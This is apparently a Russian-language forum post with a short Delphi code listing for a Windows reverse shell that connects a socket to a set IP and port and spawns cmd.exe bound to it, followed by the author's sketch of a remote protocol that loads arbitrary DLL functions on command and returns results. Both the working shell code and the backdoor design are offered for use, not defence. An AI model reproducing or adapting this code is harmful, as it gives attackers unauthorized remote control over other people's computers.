Для простой демонстрации вот наспех написанный код
Код:
var
StartupInfo:_STARTUPINFOA;
ProcessInformation:_PROCESS_INFORMATION;
addr:tsockaddrin;
sock:thandle;
wsdata:TWSADATA;
const
shell_port=12345;
shell_ip='127.0.0.1';
begin
WSAStartup($202,wsdata);
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(shell_port);
addr.sin_addr.s_addr := inet_addr(shell_ip);
if Connect(sock, @addr, SizeOf(addr))<>0 then
begin
closesocket(sock);
exit;
end;
fillchar(StartupInfo,sizeof(StartupInfo),0);
StartupInfo.cb:=sizeof(StartupInfo);
StartupInfo.dwFlags:=$100;
StartupInfo.hStdInput:=sock;
StartupInfo.hStdOutput:=sock;
StartupInfo.hStdError:=sock;
CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок
Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.